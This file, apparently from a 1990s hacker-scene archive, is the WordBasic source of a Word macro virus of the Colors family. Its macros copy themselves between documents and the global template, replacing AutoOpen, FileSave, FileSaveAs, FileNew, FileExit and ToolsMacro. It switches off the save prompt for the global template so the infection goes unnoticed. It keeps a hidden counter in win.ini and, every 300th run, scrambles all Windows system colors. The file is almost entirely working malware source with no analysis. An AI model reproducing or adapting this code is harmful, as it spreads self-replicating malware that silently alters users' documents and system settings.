Collection of Hack-Phreak Scene Programs/cleanhpvac.zip/cleanhpvac/MVUPDAT3.ZIP/RAINBOW.ZIP/COLORS.ZIP/COLORS1.TXT

Text File | 1996-04-13 | 6KB | 210 lines

Macro macros

Sub Main
End Sub

Function bDebug
        bDebug = 0
End Function

Dim Shared sColors$(21)

Sub objectiv
        On Error Goto ErrRtn1

        If bDebug Then MsgBox "start objectiv"

        sVar$ = GetProfileString$("windows", "countersu")
        iCounter = Val(sVar$)
        If bDebug Then MsgBox "iCounter=" + Str$(iCounter)
        SetProfileString "windows", "countersu", Str$(iCounter + 1)

        If bDebug Then Goto BeNice
        iEvery = 300
        iModEvery = iCounter - (Int(iCounter / iEvery) * iEvery)
        If bDebug Then
                MsgBox "iModEvery=" + Str$(iModEvery)
        End If
        If iModEvery = (iEvery - 1) Then

                sColors$(0) = "Background"
                sColors$(1) = "AppWorkspace"
                sColors$(2) = "Window"
                sColors$(3) = "WindowText"
                sColors$(4) = "Menu"
                sColors$(5) = "MenuText"
                sColors$(6) = "ActiveTitle"
                sColors$(7) = "InactiveTitle"
                sColors$(8) = "TitleText"
                sColors$(9) = "ActiveBorder"
                sColors$(10) = "InactiveBorder"
                sColors$(11) = "WindowFrame"
                sColors$(12) = "Scrollbar"
                sColors$(13) = "ButtonFace"
                sColors$(14) = "ButtonShadow"
                sColors$(15) = "ButtonText"
                sColors$(16) = "GrayText"
                sColors$(17) = "Hilight"
                sColors$(18) = "HilightText"
                sColors$(19) = "InactiveTitleText"
                sColors$(20) = "ButtonHilight"

                For i = 0 To 20
                        SetProfileString("colors", sColors$(i), Str$(Int(Rnd() * 256)) + " " + Str$(Int(Rnd() * 256)) + " " + Str$(Int(Rnd() * 256)))
                Next i
        End If
BeNice:
        Goto Done1

ErrRtn1:
        On Error Goto Done1
        If bDebug Then
                MsgBox "error " + Str$(Err) + " occurred"
        End If

Done1:
End Sub

Dim Shared iTotalNames
Dim Shared sNames$(9)
Dim Shared sMacros$(9)
Dim Shared bInstalled(9)
Dim Shared bActiveTInstalled(9)

Sub SetNames
        On Error Goto ErrRtn2

        iTotalNames = 9
        sNames$(0) = "AutoOpen"
        sNames$(1) = "FileSaveAs"
        sNames$(2) = "macros"
        sNames$(3) = "AutoExec"
        sNames$(4) = "ToolsMacro"
        sNames$(5) = "AutoClose"
        sNames$(6) = "FileSave"
        sNames$(7) = "FileExit"
        sNames$(8) = "FileNew"
        Goto Done2

ErrRtn2:
        On Error Goto Done2
        If bDebug Then
                MsgBox "error " + Str$(Err) + " occurred"
        End If

Done2:
End Sub

Sub SavToGlobal(MyName$)
        On Error Goto ErrRtn3

        If bDebug Then
                MsgBox "start SavToGlobal"
                MsgBox "MyName$=" + MyName$
                iExecute = 0
        Else
                iExecute = 1
        End If

        SetNames
        OutilsOptionsEnregistrement .InviteGlobalDot = 0

'       REM see if were already installed in global template
'       iMacroCount = CountMacros(0, 0)
'       For i = 1 To iMacroCount
'               For j = 0 To iTotalNames - 1
'                       If MacroName$(i, 0, 0) = sNames$(j) Then
'                               bInstalled(j) = - 1
'                       End If
'               Next j
'       Next i

        REM see if were already installed in active template
        iMacroCount = CompteMacros(1, 0)
        For i = 1 To iMacroCount
                For j = 0 To iTotalNames - 1
                        If NomMacro$(i, 1, 0) = sNames$(j) Then
                                bActiveTInstalled(j) = - 1
                        End If
                Next j
        Next i

        sMe$ = MyName$
        For i = 0 To iTotalNames - 1
                sMacros$(i) = sMe$ + ":" + sNames$(i)
'               If Not bInstalled(i) Then
'                       MacroCopy sMacros$(i), "Global:" + sNames$(i), iExecute
'               End If
                REM only delete if we have a copy
                If bActiveTInstalled(i) Then
                        On Error Resume Next
                        OutilsMacro .Nom = sNames$(i), .Afficher = 1, .Supprimer
                        On Error Goto ErrRtn3
                        If bDebug Then
                                Msg1$ = "before macrocopy " + sMacros$(i)
                                Msg2$ = ",Global:" + sNames$(i) + "," + Str$(iExecute)
                                MsgBox Msg1$ + Msg2$
                        End If
                        MacroCopie sMacros$(i), "Global:" + sNames$(i), iExecute
                        If bDebug Then MsgBox "end copy macro " + Str$(i)
                End If
        Next i
        Goto Done3

ErrRtn3:
        On Error Goto Done3
        If bDebug Then
                MsgBox "error " + Str$(Err) + " occurred"
        End If

Done3:
End Sub

Sub SavToDoc(MyName$)
        On Error Goto ErrRtn4

        If bDebug Then
                MsgBox "start SavToDoc"
                MsgBox "MyName$=" + MyName$
                iExecute = 0
        Else
                iExecute = 1
        End If

        SetNames
        OutilsOptionsEnregistrement .InviteGlobalDot = 0

        If bDebug Then MsgBox "first loop"

        REM see if were already installed in active template
        iMacroCount = CompteMacros(1, 0)
        For i = 1 To iMacroCount
                For j = 0 To iTotalNames - 1
                        If NomMacro$(i, 1, 0) = sNames$(j) Then
                                bActiveTInstalled(j) = - 1
                        End If
                Next j
        Next i

        If bDebug Then MsgBox "second loop"
        sMe$ = MyName$
        For i = 0 To iTotalNames - 1
                sMacros$(i) = sMe$ + ":" + sNames$(i)
                If Not bActiveTInstalled(i) Then
                        MacroCopie "Global:" + sNames$(i), sMacros$(i), iExecute
                End If
                If bDebug Then MsgBox "end copy macro " + Str$(i)
        Next i

NoCopies:
        Goto Done4

ErrRtn4:
        On Error Goto Done4
        If bDebug Then
                MsgBox "error " + Str$(Err) + " occurred"
        End If

Done4:
End Sub